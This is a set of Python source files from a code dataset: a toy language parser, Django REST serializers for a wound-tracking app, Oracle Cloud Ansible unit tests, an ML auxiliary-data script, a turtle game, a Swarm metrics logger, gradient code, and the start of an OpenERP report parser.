accept_token('L_SQUARE')(tokens)\n@debug_accept\ndef accept_right_square(tokens): return accept_token('R_SQUARE')(tokens)\n@debug_accept\ndef accept_left_paren(tokens): return accept_token('L_PAREN')(tokens)\n@debug_accept\ndef accept_right_paren(tokens): return accept_token('R_PAREN')(tokens)\n\n@debug_accept\ndef accept_string_literal(tokens): return accept_token('STRING')(tokens)\n@debug_accept\ndef accept_number(tokens): return accept_token('NUMBER')(tokens)\n\n@debug_accept\ndef accept_plus(tokens): return accept_token('PLUS')(tokens)\n@debug_accept\ndef accept_minus(tokens): return accept_token('MINUS')(tokens)\n@debug_accept\ndef accept_star(tokens): return accept_token('STAR')(tokens)\n@debug_accept\ndef accept_slash(tokens): return accept_token('SLASH')(tokens)\n\n@debug_accept\ndef accept_statement_list(tokens):\n\n tokens, statements = interlace(\n accept_statement,\n many_of(accept_nl)\n )(tokens)\n\n return tokens, statements\n\n@debug_accept\ndef accept_function_args(tokens):\n\n tokens, result = all_of(\n supress(accept_left_square),\n interlace( #TODO: maybe id\n accept_id,\n accept_comma\n ),\n supress(accept_right_square),\n )(tokens)\n\n if result == Tokens.NONE:\n return tokens, Tokens.NONE\n\n [ids] = result\n ids = [x['value'] for x in ids]\n\n return tokens, ids\n\n@debug_accept\ndef accept_lambda_expression(tokens):\n tokens, result = all_of(\n accept_function_args,\n supress(accept_left_curly), #TODO: accept it without curly brackets, if one expression\n accept_statement_list, #TODO: maybe statement_list\n supress(accept_right_curly),\n )(tokens)\n\n if result == Tokens.NONE:\n return tokens, Tokens.NONE\n\n [args, statements] = result\n\n return tokens, {\n 'type': 'lambda_expression',\n 'args': args,\n 'statements': statements,\n }\n\n@debug_accept\ndef accept_function_call(tokens):\n\n tokens, result = all_of(\n supress(accept_left_paren),\n interlace(\n accept_expression,\n accept_comma\n ),\n supress(accept_right_paren),\n )(tokens)\n\n if result == Tokens.NONE:\n return tokens, Tokens.NONE\n\n [parameters] = result\n\n return tokens, parameters\n\n@debug_accept\ndef accept_bracketted_expression(tokens):\n tokens, expression = all_of(\n supress(accept_left_paren),\n accept_expression,\n supress(accept_right_paren),\n )(tokens)\n\n if expression == Tokens.NONE:\n return tokens, Tokens.NONE\n\n [expression] = expression\n\n return tokens, expression\n\n@debug_accept\ndef accept_list_expression(tokens):\n\n # Test for empty list\n tokens, expression = all_of(\n supress(accept_left_square),\n supress(accept_right_square),\n )(tokens)\n\n if expression != Tokens.NONE:\n return tokens, {\n \"type\" : \"list\",\n \"value\": []\n }\n\n tokens, expression = all_of(\n supress(accept_left_square),\n interlace(\n accept_expression,\n accept_comma\n ),\n supress(accept_right_square),\n )(tokens)\n\n if expression == Tokens.NONE:\n return tokens, Tokens.NONE\n\n [expression] = expression\n\n return tokens, {\n \"type\" : \"list\",\n \"value\": expression\n }\n\n\n@debug_accept\ndef accept_atom_expression(tokens):\n\n tokens, expression = any_of(\n accept_lambda_expression,\n accept_list_expression,\n #accept_array_expression,\n #accept_map_expression,\n #accept_set_expression,\n #accept_object_expression,\n #accept_class_expression,\n\n #if_expression\n #for_expression\n #while_expression\n\n accept_id,\n accept_string_literal,\n accept_number,\n accept_bracketted_expression,\n )(tokens)\n\n if expression == Tokens.NONE:\n return tokens, Tokens.NONE\n\n prev_result = expression\n\n while tokens:\n\n tokens, parameters = no_leading_nl(\n accept_function_call\n )(tokens)\n\n if parameters == Tokens.NONE:\n break\n\n prev_result = {\n 'type': 'function_call_expression',\n 'function': prev_result['value'] if prev_result['type'] == 'id' else prev_result,\n 'parameters': parameters,\n }\n\n return tokens, prev_result\n\n\n@debug_accept\ndef accept_term_expression(tokens):\n\n tokens, lhs = any_of(\n accept_atom_expression,\n )(tokens)\n\n if lhs == Tokens.NONE:\n return tokens, Tokens.NONE\n\n prev_result = lhs\n\n while tokens:\n\n tokens, other = all_of(\n any_of(\n accept_star,\n accept_slash,\n ),\n accept_atom_expression\n )(tokens)\n\n\n if other == Tokens.NONE:\n break\n\n [sign, rhs] = other\n\n if sign['type'] == 'star':\n function = '__mul__'\n elif sign['type'] == 'slash':\n function = '__div__'\n else:\n raise ParserError('invalid configuration')\n\n prev_result = {\n 'type': 'function_call_expression',\n 'function': function,\n 'parameters': [prev_result, rhs],\n }\n\n return tokens, prev_result\n\n@debug_accept\ndef accept_expression(tokens):\n\n tokens, lhs = any_of(\n accept_term_expression,\n )(tokens)\n\n if lhs == Tokens.NONE:\n return tokens, Tokens.NONE\n\n prev_result = lhs\n\n while tokens:\n\n tokens, other = all_of(\n any_of(\n accept_plus,\n accept_minus,\n ),\n accept_term_expression\n )(tokens)\n\n\n if other == Tokens.NONE:\n break\n\n [sign, rhs] = other\n\n if sign['type'] == 'plus':\n function = '__add__'\n elif sign['type'] == 'minus':\n function = '__sub__'\n else:\n raise ParserError('invalid configuration')\n\n prev_result = {\n 'type': 'function_call_expression',\n 'function': function,\n 'parameters': [prev_result, rhs],\n }\n\n return tokens, prev_result\n\n@debug_accept\ndef accept_declaration_statement(tokens):\n\n tokens, result = all_of(\n accept_def,\n no_leading_nl(accept_id),\n no_leading_nl(accept_expression),\n )(tokens)\n\n if result == Tokens.NONE:\n return tokens, Tokens.NONE\n\n [_, id, value] = result\n\n return tokens, {\n 'type': 'declaration_statement',\n 'name': id['value'],\n 'value': value,\n }\n\n@debug_accept\ndef accept_assignment_statement(tokens):\n tokens, result = all_of(\n accept_id,\n no_leading_nl(accept_equal),\n no_leading_nl(accept_expression),\n )(tokens)\n\n if result == Tokens.NONE:\n return tokens, Tokens.NONE\n\n [id, _, value] = result\n\n return tokens, {\n 'type': 'assignment_statement',\n 'to': id,\n 'value': value,\n }\n\n@debug_accept\ndef accept_statement(tokens):\n\n tokens, statement = any_of(\n accept_declaration_statement,\n accept_assignment_statement,\n accept_expression,\n )(tokens)\n\n return tokens, statement\n\n@debug_accept\ndef accept_top_level(tokens):\n\n tokens, statements = accept_statement_list(tokens)\n\n return tokens, statements\n\ndef parse(tokens):\n\n tokens, statements = accept_top_level(tokens)\n\n result = {\n \"version\": \"0.0.1\",\n \"statements\": statements\n }\n\n return result\n","sub_path":"eye/eyescript/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":12798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"547274086","text":"from rest_framework import serializers\n\nfrom apps.accounts.serializers import UserSerializer\nfrom apps.utils.fields import Base64FileField\nfrom apps.utils.mixins import AwsUrlMixin, FileValidationMixin\nfrom apps.wounds.models import Wound, Evolution\n\n\nclass EvolutionSerializer(AwsUrlMixin, serializers.ModelSerializer):\n photo = Base64FileField(max_length=None, use_url=True, write_only=True, required=False, allow_null=True)\n photo_url = serializers.SerializerMethodField()\n thumb_url = serializers.SerializerMethodField()\n width = serializers.DecimalField(write_only=True, max_digits=5, decimal_places=2)\n height = serializers.DecimalField(write_only=True, max_digits=5, decimal_places=2)\n evolution_width = serializers.SerializerMethodField()\n evolution_height = serializers.SerializerMethodField()\n user = UserSerializer(read_only=True)\n\n class Meta:\n model = Evolution\n fields = (\n 'width', 'height', 'evolution_width', 'evolution_height', 'photo_url', 'thumb_url', 'photo', 'wound', 'id',\n 'created', 'user'\n )\n\n def create(self, validated_data):\n validated_data['user'] = self._kwargs['context']['request'].user\n return super().create(validated_data)\n\n def get_photo_url(self, obj):\n return self._get_aws_base64(obj.photo) if obj.photo else None\n\n def get_thumb_url(self, obj):\n return self._get_aws_base64(obj.thumbnail) if obj.thumbnail else None\n\n def get_evolution_width(self, obj):\n return obj.width\n\n def get_evolution_height(self, obj):\n return obj.height\n\n\nclass WoundSerializer(FileValidationMixin, AwsUrlMixin, serializers.ModelSerializer):\n photo = serializers.CharField(write_only=True, required=False, allow_null=True)\n width = serializers.DecimalField(write_only=True, max_digits=5, decimal_places=2)\n height = serializers.DecimalField(write_only=True, max_digits=5, decimal_places=2)\n first_width = serializers.SerializerMethodField()\n first_height = serializers.SerializerMethodField()\n photo_url = serializers.SerializerMethodField()\n thumb_url = serializers.SerializerMethodField()\n file_id = serializers.CharField(write_only=True)\n file = serializers.CharField(source='file.file_id', read_only=True)\n treatment = serializers.SerializerMethodField()\n user = UserSerializer(read_only=True)\n\n class Meta:\n model = Wound\n fields = (\n 'id', 'name', 'type', 'localization', 'is_cured', 'photo', 'width', 'height', 'first_width',\n 'first_height', 'photo_url', 'thumb_url', 'file', 'file_id', 'created', 'treatment', 'comment', 'user'\n )\n\n def create(self, validated_data, **kwargs):\n data = {\n 'photo': validated_data.pop('photo', None),\n 'width': validated_data.pop('width'),\n 'height': validated_data.pop('height')\n }\n validated_data['user'] = self._kwargs['context']['request'].user\n wound = super().create(validated_data)\n data.update({'wound': wound.pk})\n serializer = EvolutionSerializer(data=data, context=self._kwargs['context'])\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return wound\n\n def get_first_width(self, obj):\n last = obj.evolution_set.last()\n if last:\n return last.width\n\n def get_first_height(self, obj):\n last = obj.evolution_set.last()\n if last:\n return last.height\n\n def get_photo_url(self, obj):\n last = obj.evolution_set.last()\n if last and last.photo:\n return self._get_aws_base64(last.photo)\n\n def get_thumb_url(self, obj):\n last = obj.evolution_set.last()\n if last and last.thumbnail:\n return self._get_aws_base64(last.thumbnail)\n\n def get_treatment(self, obj):\n task = obj.schedule_set.first()\n if task:\n return task.pk\n","sub_path":"lifeline-backend-master/apps/wounds/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"397622021","text":"# Copyright (c) 2018, Oracle and/or its affiliates.\n# This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license.\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n# Apache License v2.0\n# See LICENSE.TXT for details.\n\nimport pytest\nfrom nose.plugins.skip import SkipTest\nimport logging\nfrom ansible.modules.cloud.oracle import oci_load_balancer_backend_facts\nfrom ansible.module_utils.oracle import oci_utils\n\ntry:\n import oci\n from oci.load_balancer.models import Backend\n from oci.exceptions import ServiceError\nexcept ImportError:\n raise SkipTest(\n \"test_oci_load_balancer_backend_facts.py requires `oci` module\")\n\n\nclass FakeModule(object):\n def __init__(self, **kwargs):\n self.params = kwargs\n\n def fail_json(self, *args, **kwargs):\n self.exit_args = args\n self.exit_kwargs = kwargs\n raise Exception(kwargs['msg'])\n\n def exit_json(self, *args, **kwargs):\n self.exit_args = args\n self.exit_kwargs = kwargs\n\n\n@pytest.fixture()\ndef lb_client(mocker):\n mock_lb_client = mocker.patch(\n 'oci.load_balancer.load_balancer_client.LoadBalancerClient')\n return mock_lb_client.return_value\n\n\n@pytest.fixture()\ndef list_all_resources_patch(mocker):\n return mocker.patch.object(oci_utils, 'list_all_resources')\n\n\ndef setUpModule():\n logging.basicConfig(filename='/tmp/oci_ansible_module.log',\n filemode='a', level=logging.INFO)\n oci_load_balancer_backend_facts.set_logger(logging)\n\n\ndef test_list_load_balancer_backends_specific_backend(lb_client):\n module = get_module(dict({'backend_set_name': 'backend1',\n 'load_balancer_id': 'ocid1.lodbalancer.xcds', 'ip_address': '10.12.15.121', 'port': '8080'}))\n lb_client.get_backend.return_value = get_response(\n 200, None, get_backend(), None)\n result = oci_load_balancer_backend_facts.list_load_balancer_backends(lb_client, module)\n assert result['backends'][0]['ip_address'] is get_backend().ip_address\n \n\ndef test_list_load_balancer_backends_all_backends(lb_client, list_all_resources_patch):\n module = get_module(dict({'backend_set_name': 'backend1',\n 'load_balancer_id': 'ocid1.lodbalancer.xcds'}))\n list_all_resources_patch.return_value = [get_backend()]\n result = oci_load_balancer_backend_facts.list_load_balancer_backends(lb_client, module)\n assert result['backends'][0]['ip_address'] is get_backend().ip_address\n\ndef test_list_load_balancer_backends_service_error(lb_client, list_all_resources_patch):\n error_message = 'Internal Server Error'\n module = get_module(dict({'backend_set_name': 'backend1',\n 'load_balancer_id': 'ocid1.lodbalancer.xcds'}))\n list_all_resources_patch.side_effect = ServiceError(\n 500, 'InternalServerError', dict(), error_message)\n try:\n oci_load_balancer_backend_facts.list_load_balancer_backends(lb_client, module)\n except Exception as ex:\n assert error_message in ex.args[0]\n\n\n\n\ndef get_backend():\n backend = Backend()\n backend.name = \"10.159.34.21:8181\"\n backend.backup = True\n backend.drain = True\n backend.offline = True\n backend.weight = 5\n backend.ip_address = \"10.159.34.21\"\n backend.port = \"8181\"\n return backend\n\ndef get_response(status, header, data, request):\n return oci.Response(status, header, data, request)\n\ndef get_module(additional_properties):\n params = dict()\n params.update(additional_properties)\n module = FakeModule(**params)\n return module\n","sub_path":"ansible-scripts/test/units/test_oci_load_balancer_backend_facts.py","file_name":"test_oci_load_balancer_backend_facts.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"119305126","text":"from __future__ import print_function\r\nimport argparse\r\nimport torch\r\nimport os, shutil\r\nfrom dataset_utils import load_blackbox\r\nimport numpy as np\r\nimport pickle\r\n\r\n# Training settings\r\nparser = argparse.ArgumentParser(description='Auxiliary Information construction')\r\n# parser.add_argument('--batch-size', type=int, default=128, metavar='')\r\n# parser.add_argument('--test-batch-size', type=int, default=1000, metavar='')\r\n# parser.add_argument('--epochs', type=int, default=100, metavar='')\r\n# parser.add_argument('--lr', type=float, default=0.01, metavar='')\r\n# parser.add_argument('--momentum', type=float, default=0.5, metavar='')\r\nparser.add_argument('--no-cuda', action='store_true', default=False)\r\nparser.add_argument('--seed', type=int, default=1, metavar='')\r\n# parser.add_argument('--log-interval', type=int, default=10, metavar='')\r\nparser.add_argument('--nc', type=int, default=1)\r\nparser.add_argument('--ndf', type=int, default=128)\r\nparser.add_argument('--ngf', type=int, default=128)\r\nparser.add_argument('--nz', type=int, default=530)\r\nparser.add_argument('--truncation', type=int, default=530)\r\nparser.add_argument('--c', type=float, default=50.)\r\nparser.add_argument('--num_workers', type=int, default=1, metavar='')\r\nparser.add_argument('--auxiliary', type=int, default=100)\r\n\r\ndef get_inversion_data(model, label, quantity, nz=530):\r\n # add Gaussian noise\r\n Gaussian_noise = abs(np.random.normal(0.0, 0.1, (quantity, nz)))\r\n for i in range(quantity):\r\n Gaussian_noise[i][label] += 1.0\r\n\r\n input_vector = torch.from_numpy(Gaussian_noise)\r\n input_vector = input_vector.float()\r\n results = model(input_vector).cpu()\r\n auxiliary_data = []\r\n for i in range(quantity):\r\n data = (results[i].detach().numpy(), input_vector[i])\r\n auxiliary_data.append(data)\r\n return auxiliary_data\r\n\r\ndef main():\r\n args = parser.parse_args()\r\n print(\"================================\")\r\n print(args)\r\n print(\"================================\")\r\n os.makedirs('models/adversary/', exist_ok=True)\r\n\r\n use_cuda = not args.no_cuda and torch.cuda.is_available()\r\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\r\n kwargs = {'num_workers': args.num_workers, 'pin_memory': True} if use_cuda else {}\r\n\r\n torch.manual_seed(args.seed)\r\n inversion = load_blackbox('inversion.pth', args=args, device=device)\r\n auxiliary = []\r\n for i in range(args.nz):\r\n auxiliary.extend(get_inversion_data(inversion, i, args.auxiliary, args.nz))\r\n np.random.shuffle(auxiliary)\r\n pickle.dump(auxiliary, open('models/adversary/transferset.pickle','wb'))\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"construct_auxiliary.py","file_name":"construct_auxiliary.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"373912479","text":"import turtle, random,time\nturtle.bgpic(\"seabg.png\")#background as a picture\nturtle.setup(1800,1200)#size of the screen\nturtle.penup()\nturtle.tracer(1,0)\nturtle.goto(0,300)\nturtle.hideturtle()\nturtle.write(\"Welcome if you wanna play press space\", align=\"center\", font =(\"Ariel\" , 40, \"normal\"))\nscore=0\ndirection = \"up\"\n\n# set up turtles\nturtle.register_shape(\"coin.gif\")#make the turtle as a coin\ncoin = turtle.clone()#main that every thing that turtle was now coin are\ncoin.shape(\"coin.gif\")\ncoin.speed(0)#the fastest speed\ncoin.penup()\ncoin.hideturtle()\ncoin2 = coin.clone()#make the seconed coin as same as the first one\ncoin2.speed(0)\ncoin2.hideturtle()\ncoin3 = coin.clone()\ncoin3.speed(0)\ncoin3.hideturtle()\n\njfish = turtle.Turtle()\nturtle.register_shape(\"jfish.gif\")#make the turtle as a cjfish\njfish.shape(\"jfish.gif\")\njfish.penup()\njfish.hideturtle()\njfish.speed(0)\njfish2 = jfish.clone()#make the seconed jfish as same as the first one\njfish3 = jfish.clone()\n\n\ntrash = turtle.Turtle()\nturtle.register_shape(\"plasticbag.gif\")\ntrash.shape(\"plasticbag.gif\")\ntrash.hideturtle()\ntrash.penup()\ntrash2=trash.clone()\ntrash3=trash.clone()\n\ndef make():#make the coin\n global coin,score,coin2,coin3,jfish,jfish2,jfish3\n y_pos = random.randint(-12,12)*40#set the random \"y\"\n coin.goto(500,y_pos)\n coin.showturtle()\n coin2.goto(500, random.randint(-12, 12)*40)\n coin2.showturtle()\n coin3.goto(500, random.randint(-12, 12)*40)\n coin3.showturtle()\n print(\"Making jellyfish!\")\n y_pos = random.randint(-12,12)*40#set the random \"y\"\n print(\"First random y position: \" + str(y_pos))\n\n jfish.goto(500, random.randint(-12, 12)*40)#jfish go th the start pos\n jfish.showturtle()\n jfish.speed(0)\n jfish2.goto(500, random.randint(-12, 12)*40)\n jfish2.showturtle()\n jfish3.goto(500, random.randint(-12, 12)*40)\n jfish3.showturtle()\n\n trash.goto(500, random.randint(-12, 12)*40)#jfish go th the start pos\n trash.showturtle()\n trash.speed(0)\n trash2.goto(500, random.randint(-12, 12)*40)\n trash2.showturtle()\n trash2.speed(0)\n trash3.goto(500, random.randint(-12, 12)*40)\n trash3.showturtle()\n trash3.speed(0)\n \ndef move():\n global score,jfish,jfish2,jfish3,coin,coin2,coin3\n jfish.back(8)\n coin.back(8)\n coin2.back(8)\n coin3.back(8)\n jfish2.back(8)\n jfish3.back(8)\n trash.back(8)\n trash2.back(8)\n trash3.back(8)\n if coin.pos()[0]==-500 or coin2.pos()[0]==-500 or coin3.pos()[0]==-500: #check if the jfish is in the same x as the sea turtle\n if abs(coin.pos()[1] - seat.pos()[1]) <= 40 or abs(coin2.pos()[1] - seat.pos()[1]) <= 40 or abs(coin3.pos()[1] - seat.pos()[1]) <= 40:#check if the sea t in the range of the coin\n print(\"you caught the coin\")\n score-=75\n turtle.clear()\n turtle.write(score ,move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\"))#cahnge the score\n make()#the coins +jfish return to the start\n if score <= -100:\n turtle.clear()\n turtle.write(\"Game over! your score is \" +str(score) , move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\")) \n time.sleep(5)\n turtle.clear()\n score=0\n turtle.write(\"Restart\", move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\")) \n \n \n if jfish.pos()[0]==-500 or jfish2.pos()[0]==-500 or jfish3.pos()[0]==-500: #check if the jfish is in the same x as the sea turtle\n print(\"you caught the jellyfish\")\n if abs(jfish.pos()[1] - seat.pos()[1]) <= 80 or abs(jfish2.pos()[1] - seat.pos()[1]) <= 80 or abs(jfish3.pos()[1] - seat.pos()[1]) <= 80:#check if the sea t in the range of the jfish\n score+=150\n turtle.clear()\n turtle.write(score , move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\")) \n make()\n if trash.pos()[0]==-500 or trash2.pos()[0]==-500:\n if abs(trash.pos()[1] - seat.pos()[1]) <= 80 or abs(trash2.pos()[1] - seat.pos()[1]) <= 80:#check if the sea t in the range of the jfish\n turtle.clear()\n turtle.write(\"Game over! your score is \" +str(score) , move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\")) \n time.sleep(5)\n turtle.clear()\n score=0\n turtle.write(\"Restart\", move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\")) \n if jfish.pos()[0] <-850:\n make()\n \n turtle.ontimer(move, 10)\n\ndef game():\n #if the player presses the space button then the game begins\n global seat,score,direction\n turtle.clear()\n turtle.register_shape(\"seat.gif\")\n seat = turtle.clone()\n seat.showturtle()\n seat.shape(\"seat.gif\")\n seat.penup()\n seat.goto(-500,0)\n make()\n move()\n\ndef up():\n #if the player presses the up button then it'll go up\n global seat,score, direction #every change with this var will stay for the game\n direction = \"up\"\n \n pos_list = seat.pos()\n x_pos = pos_list[0]\n y_pos = pos_list[1]\n seat.goto(x_pos, y_pos+40)\n print(\"you pressed the up key!\")\n x_pos = pos_list[0]\n y_pos = pos_list[1]\n\n print(\"New y pos:\")\n print(y_pos)\n \n if y_pos>480 or y_pos<-480:\n turtle.clear()\n turtle.write(\"GAME OVER\" ,move=False, align=\"center\", font=(\"Ariel\",50,\"normal\"))\n time.sleep(1)\n turtle.clear()\n score=0\n turtle.write(\"Restart\", move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\"))\n time.sleep(1)\n turtle.clear()\n seat.goto(x_pos,y_pos-100)\n\n \ndef down():\n #if the player presses the down button then it'll go down\n global seat,down_e,up_e,score\n direction = \"down\"\n pos_list = seat.pos()\n x_pos = pos_list[0]\n y_pos = pos_list[1]\n seat.goto(x_pos, y_pos-40)\n x_pos = pos_list[0]\n y_pos = pos_list[1]\n print(\"you pressed the down key!\")\n if y_pos>480 or y_pos<-480:#what happened when your downer thn the edge\n turtle.clear()\n turtle.write(\"GAME OVER\" ,move=False, align=\"center\", font=(\"Ariel\",50,\"normal\"))\n time.sleep(1)\n turtle.clear()\n score=0\n turtle.write(\"Restart\", move=False, align=\"center\", font=(\"Ariel\", 30, \"normal\"))\n time.sleep(1)\n turtle.clear()\n seat.goto(x_pos,y_pos+100) \n \n \n \n#main program\nup_e=500\ndown_e=-500\n\nturtle.onkeypress(game, \"space\")\nturtle.onkeypress(up, \"Up\")\nturtle.onkeypress(down,\"Down\")\nturtle.listen()\nlines= turtle.clone()\nlines.hideturtle()\nlines.penup()\nlines.goto(-860,500)\nlines.speed(0)\nfor i in range(2):\n lines.pendown()\n lines.pensize(5)\n lines.forward(1700)\n lines.right(90)\n lines.forward(1000)\n lines.right(90)\n\n\n \n\nup_e=500\ndown_e=-500\n\nturtle.mainloop()\n\n\n\n\n\n\n\n","sub_path":"final_proj.py","file_name":"final_proj.py","file_ext":"py","file_size_in_byte":6811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"192365594","text":"# -*- coding: utf-8 -*-\nimport json\nimport requests\nimport time, datetime\nfrom urllib.request import urlopen\nimport settings, getMetrics\n\nif __name__ == '__main__':\n # get all NodeIDs in swarm\n nodes = {}\n print(\"Nodes:\")\n for node in settings.nodes_list:\n with urlopen(\"http://{node}/info\".format(node=node)) as url:\n data = json.loads(url.read().decode())\n nodes[data[\"Swarm\"][\"NodeID\"]] = node\n print('''\\t NodeID: {} '''.format(\n data[\"Swarm\"][\"NodeID\"], ))\n\n # list all the services\n services = {}\n with urlopen(\"http://{manager}/services\".format(manager=settings.manager)) as url:\n data = json.loads(url.read().decode())\n print(\"Services:\")\n for service in data:\n services[service[\"Spec\"][\"Name\"]] = {\"name\": service[\"Spec\"][\"Name\"], \"tasks\": []}\n print('''\\t name: {}, version: {}, replicas: {} '''.format(\n service[\"Spec\"][\"Name\"],\n service[\"Version\"][\"Index\"],\n service[\"Spec\"][\"Mode\"][\"Replicated\"][\"Replicas\"]))\n\n # get the tasks running on our swarm cluster\n for service_name, service in services.items():\n settings.get_tasks(service)\n\n # cpu usage api is not fast. be patient!\n # here we consistently get the cpu usage of all the web-workers and calculate the average\n\n R_ = settings.target_response_time\n\n start_time = datetime.datetime.now()\n time_limit = datetime.timedelta(seconds=4300)\n print(\"let's get started\")\n with open(\"dataop-pi_data-gathering_%s.csv\" %(start_time.strftime(\"%Y-%m-%d_%H-%M-%S\")), \"w\") as f:\n while True:\n\n now_time = datetime.datetime.now()\n if now_time - start_time >= time_limit:\n break\n\n Uw_cpu = getMetrics.calculate_cpu_utilization(nodes, services[\"web-worker\"])\n Xw = getMetrics.calculate_data_incoming_rate(nodes, services[\"web-worker\"])\n data = [now_time.strftime(\"%Y-%m-%d %H:%M:%S\"), str(Uw_cpu), str(Xw)]\n hehe = \",\".join(data)\n print(hehe)\n f.write(hehe + \"\\n\")\n\n '''Um_cpu = getMetrics.calculate_cpu_utilization(nodes, services[\"mysql\"])\n Xm = getMetrics.calculate_data_incoming_rate(nodes, services[\"mysql\"])\n data = [now_time.strftime(\"%Y-%m-%d %H:%M:%S\"), str(Um_cpu), str(Xm)]\n hehe = \",\".join(data)\n print(hehe)\n f.write(hehe + \"\\n\")'''\n\n time.sleep(5)","sub_path":"Project/system/dataGathering.py","file_name":"dataGathering.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"510228163","text":"import numpy as np\nimport pandas as pd\n\nfrom functions import softmax\nfrom model import FCLayer\nfrom nets import net1, net2, net3\n\n\ndef calc_grad(net):\n fc_layers = [x for x in net.layers if isinstance(x, FCLayer)]\n\n def load_data(w_path, b_path, name, has_index=True):\n w_path = w_path + '{}.csv'.format(name)\n\n weights = pd.read_csv(w_path, header=None, index_col=0 if has_index else None).values\n weights = np.array_split(weights, np.cumsum([x.W.shape[0] for x in fc_layers]))\n\n b_path = b_path + '{}.csv'.format(name)\n biases = pd.read_csv(b_path, header=None, index_col=0 if has_index else None).values\n biases = np.array_split(biases, len(net.layers))\n return weights, biases\n\n # load_data\n prefix = '../../input/Question_2_2/c/'\n given_weights, given_biases = load_data(prefix + 'w-', prefix + 'b-', net.name)\n for layer, weight in zip(fc_layers, given_weights):\n assert (layer.W.shape[0] == weight.shape[0])\n layer.W = weight[:, :layer.W.shape[1]]\n\n for layer, bias in zip(fc_layers, given_biases):\n bias = bias.flatten()\n layer.b = bias[:layer.b.shape[0]]\n\n # input\n X = [-1, 1, 1, 1, -1, -1, 1, -1, 1, 1, -1, -1, 1, 1]\n score = net.forward_propagate(X)\n prob = softmax(score)\n label = 3\n one_hot = np.array([1 if x == label else 0 for x in range(4)])\n # calculate gradients\n net.back_propagate(prob - one_hot)\n\n for layer in fc_layers:\n dw_file = '../../output/Question_2/dw-{}.csv'.format(net.name)\n db_file = '../../output/Question_2/db-{}.csv'.format(net.name)\n pd.DataFrame(layer.dW).to_csv(dw_file, mode='a', header=False, index=False)\n pd.DataFrame(layer.db.reshape(1, -1)).to_csv(db_file, mode='a', header=False, index=False)\n\n\ncalc_grad(net1)\ncalc_grad(net2)\ncalc_grad(net3)\n","sub_path":"assignment1/code/q2/calc_grad.py","file_name":"calc_grad.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"307241150","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# HLVSolution, Open Source Management Solution\n#\n##############################################################################\n\nimport time\nfrom report import report_sxw\nimport pooler\nfrom osv import osv\nfrom tools.translate import _\nimport random\nfrom datetime import datetime\nDATETIME_FORMAT = \"%Y-%m-%d %H:%M:%S\"\nDATE_FORMAT = \"%Y-%m-%d\"\n\nclass Parser(report_sxw.rml_parse):\n \n def __init__(self, cr, uid, name, context):\n super(Parser, self).__init__(cr, uid, name, context=context)\n pool = pooler.get_pool(self.cr.dbname)\n self.start_date = False\n self.end_date = False\n self.company_name = False\n self.company_address = False\n self.warehouse = False\n self.warehouse_id = False\n self.product_id = False\n self.product = False\n self.product_code = False\n \n self.vat = False\n self.get_company(cr, uid)\n self.localcontext.update({\n 'get_vietname_date':self.get_vietname_date, \n 'get_line':self.get_line,\n 'get_header':self.get_header,\n 'get_start_date':self.get_start_date,\n 'get_end_date':self.get_end_date,\n 'get_company_name':self.get_company_name,\n 'get_company_address':self.get_company_address,\n 'get_company_vat':self.get_company_vat,\n 'get_warehouse':self.get_warehouse,\n 'get_current_time':self.get_current_time,\n 'get_product':self.get_product,\n 'get_product_code':self.get_product_code,\n })\n \n def get_company(self,cr,uid):\n user_obj = self.pool.get('res.users').browse(cr,uid,uid)\n self.company_name = user_obj and user_obj.company_id and user_obj.company_id.name or ''\n self.company_address = user_obj and user_obj.company_id and user_obj.company_id.street or ''\n self.vat = user_obj and user_obj.company_id and user_obj.company_id.vat or ''\n \n def get_company_name(self):\n return self.company_name\n \n def get_current_time(self):\n date = time.strftime(DATETIME_FORMAT)\n date = datetime.strptime(date, DATETIME_FORMAT) \n return date.strftime('%d-%m-%Y %H:%M:%S')\n \n def get_company_address(self):\n return self.company_address \n \n def get_company_vat(self):\n return self.vat \n \n def get_header(self):\n wizard_data = self.localcontext['data']['form']\n self.start_date = wizard_data['date_start']\n self.end_date = wizard_data['date_end']\n self.warehouse = wizard_data['warehouse_id'][1] or ''\n self.warehouse_id = wizard_data['warehouse_id'][0] or ''\n self.product_id = wizard_data['product_id'][0] or ''\n self.product = wizard_data['product_id'][1] or ''\n product_obj = self.pool.get('product.product').browse(self.cr,self.uid,self.product_id)\n self.product_code = product_obj and product_obj.default_code or''\n \n def get_warehouse(self):\n return self.warehouse\n \n def get_product(self):\n return self.product\n \n def get_product_code(self):\n return self.product_code \n \n def get_start_date(self):\n self.get_header()\n return self.get_vietname_date(self.start_date) \n \n def get_end_date(self):\n return self.get_vietname_date(self.end_date) \n \n def get_vietname_date(self, date):\n if not date:\n date = time.strftime(DATE_FORMAT)\n date = datetime.strptime(date, DATE_FORMAT)\n return date.strftime('%d/%m/%Y')\n \n def get_line(self):\n wizard_data = self.localcontext['data']['form']\n res =[]\n sql = '''\n SELECT * FROM 